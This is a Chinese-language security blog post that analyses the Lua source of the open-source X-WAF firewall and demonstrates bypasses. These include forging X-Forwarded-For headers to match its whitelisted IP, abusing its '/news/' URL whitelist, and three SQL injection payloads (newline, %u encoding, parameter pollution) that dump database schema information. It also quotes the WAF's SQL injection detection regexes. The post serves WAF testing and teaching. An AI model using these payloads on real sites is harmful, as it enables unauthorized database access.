X-WAF是一款適用中、小企業的雲WAF系統,讓中、小企業也可以非常方便地擁有自己的免費雲WAF。
本文從代碼出發,一步步理解WAF的工作原理,多姿勢進行WAF Bypass。
0x01 環境搭建
github源碼:https://github.com/xsec-lab/x-waf
X-WAF下載安裝后,設置反向代理訪問構造的SQL注入點
0x02 代碼分析
首先看一下整體的目錄結構,
nginx_conf 目錄為參考配置(可刪除),rules目錄存放過濾規則
init.lua 加載規則,access.lua 程序啟動,config.lua 配置文件
主要邏輯實現全部在util.lua和waf.lua文件。
代碼邏輯很簡單,先熟悉一下檢測流程,程序入口在waf.lua 第262-274行中:
-- waf start function _M.check() if _M.white_ip_check() then elseif _M.black_ip_check() then elseif _M.user_agent_attack_check() then elseif _M.white_url_check() then elseif _M.url_attack_check() then elseif _M.cc_attack_check() then elseif _M.cookie_attack_check() then elseif _M.url_args_attack_check() then elseif _M.post_attack_check() then else return end
這個一個多條件判斷語句,一旦滿足前面的條件就不再進行后面的檢測。
白名單
首先判斷IP白名單,我們來看一下white_ip_check()函數,同文件下的第50-64行:
-- white ip check function _M.white_ip_check() if config.config_white_ip_check == "on" then local IP_WHITE_RULE = _M.get_rule('whiteip.rule') local WHITE_IP = util.get_client_ip() if IP_WHITE_RULE ~= nil then for _, rule in pairs(IP_WHITE_RULE) do if rule ~= "" and rulematch(WHITE_IP, rule, "jo") then util.log_record(config.config_log_dir, 'White_IP', ngx.var_request_uri, "", "") return true end end end end end
默認配置IP白名單是開啟狀態,讀取IP白名單規則與獲取的客戶端IP進行比對,我們再來跟進看一下get_client_ip()函數,在util.lua文件中,第83-96行:
-- Get the client IP function _M.get_client_ip() local CLIENT_IP = ngx.req.get_headers()["X_real_ip"] if CLIENT_IP == nil then CLIENT_IP = ngx.req.get_headers()["X_Forwarded_For"] end if CLIENT_IP == nil then CLIENT_IP = ngx.var.remote_addr end if CLIENT_IP == nil then CLIENT_IP = "" end return CLIENT_IP end
在這段獲取客戶端IP的代碼中,獲取的X_real_ip、X_Forwarded_For是用戶可控的,存在客戶端IP地址可偽造的風險。最后再來看一下,rules目錄中whiteip.rule的默認配置:
[{"Id":74,"RuleType":"whiteip","RuleItem":"8.8.8.8"}]
IP白名單規則默認IP:8.8.8.8 為白名單
因此我們可以通過構造HTTP請求Header實現偽造IP來源為 8.8.8.8 ,從而繞過x-waf的所有安全防御。
Bypass 測試
先來一張攔截效果圖
偽造客戶端IP繞過:
另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名單里面,但這並沒有什么用,IP白名單已經跳出多條件判斷,不會再進行IP黑名單檢測。CC攻擊的防御也主要是從客戶端獲取IP,也可以偽造客戶端IP輕易繞過限制。
[{"Id":2,"RuleType":"blackip","RuleItem":"8.8.8.8"},{"Id":3,"RuleType":"blackip","RuleItem":"1.1.1.1"}]
同樣來看一下url白名單white_url_check()函數:
function _M.white_url_check() if config.config_white_url_check == "on" then local URL_WHITE_RULES = _M.get_rule('writeurl.rule') local REQ_URI = ngx.var.request_uri if URL_WHITE_RULES ~= nil then for _, rule in pairs(URL_WHITE_RULES) do if rule ~= "" and rulematch(REQ_URI, rule, "joi") then return true end end end end end
添加了一下URL白名單功能,感覺無效,對比了一下rules文件,可以發現加載的rule文件名不一致。
這里應該是作者的一個筆誤,writeurl.rule和whiteUrl.rule。
默認url白名單配置:
[{"Id":73,"RuleType":"whiteUrl","RuleItem":"/news/"}]
另外,這里使用ngx.re.find進行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不進行檢測,繞過安全防御規則。比如 : /test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/ 等形式可繞過。
正則匹配
接下來,我們主要來看一下M.url_args_attack_check()、M.post_attack_check():
`-- deny url args function _M.url_args_attack_check() if config.config_url_args_check == "on" then local ARGS_RULES = _M.get_rule('args.rule') for _, rule in pairs(ARGS_RULES) do local REQ_ARGS = ngx.req.get_uri_args() for key, val in pairs(REQ_ARGS) do local ARGS_DATA = {} if type(val) == 'table' then ARGS_DATA = table.concat(val, " ") else ARGS_DATA = val end if ARGS_DATA and type(ARGS_DATA) ~= "boolean" and rule ~= "" and rulematch(unescape(ARGS_DATA), rule, "joi") then util.log_record(config.config_log_dir, 'Get_Attack', ngx.var.request_uri, "-", rule) if config.config_waf_enable == "on" then util.waf_output() return true end end end end end return false end`
-- deny post function _M.post_attack_check() if config.config_post_check == "on" then ngx.req.read_body() local POST_RULES = _M.get_rule('post.rule') for _, rule in pairs(POST_RULES) do local POST_ARGS = ngx.req.get_post_args() or {} for k, v in pairs(POST_ARGS) do local post_data = "" if type(v) == "table" then post_data = table.concat(v, ", ") elseif type(v) == "boolean" then post_data = k else post_data = v end if rule ~= "" and rulematch(post_data, rule, "joi") then util.log_record(config.config_log_dir, 'Post_Attack', post_data, "-", rule) if config.config_waf_enable == "on" then util.waf_output() return true end end end end end return false end
兩段函數在一定程度上是類似的,使用ngx.req.get_uri_args、ngx.req.get_post_args 獲取數據來源,前者來自 uri 請求參數,而后者來自 post 請求內容,並未對數據進行特殊處理,然后都使用rulematch(data, rule, "joi")來進行匹配。
rule中比較關鍵SQL注入防御規則如下:
select.+(from|limit) (?:(union(.*?)select)) (?:from\W+information_schema\W)
繞過姿勢一:%0a
由於使用的是joi來修飾,我們可以用%0a來進行繞過。
/sql.php?id=1 union%0aselect 1,schema_name,3%0afrom /!12345information_schema.schemata/
繞過姿勢二:%u特性
主要利用IIS服務器支持unicode的解析
/sql.aspx?id=1 union selec%u0054 null,table_name,null fro%u004d information_schema.tables
繞過姿勢三:HPP+GPC
使用GPC三種方式可以進行參數傳遞,利用apsx特性,將獲取到參數拼接起來,可成功Bypass
/sql.aspx?id=1 union/* POST:Id=2*/select null,system_user,null
0x03 總結
這是一款適合用來進行WAF Bypass練手的雲WAF,通過代碼層面熟悉WAF的工作原理,進一步理解和應用各種服務器特性、數據庫特性來進行嘗試Bypass。
本文由Bypass原創發布,原文鏈接:https://www.cnblogs.com/xiaozi/p/9132409.html 歡迎分享本文,轉載請保留出處。
關於我:一個網絡安全愛好者,致力於分享原創高質量干貨,歡迎關注我的個人微信公眾號:Bypass--,瀏覽更多精彩文章。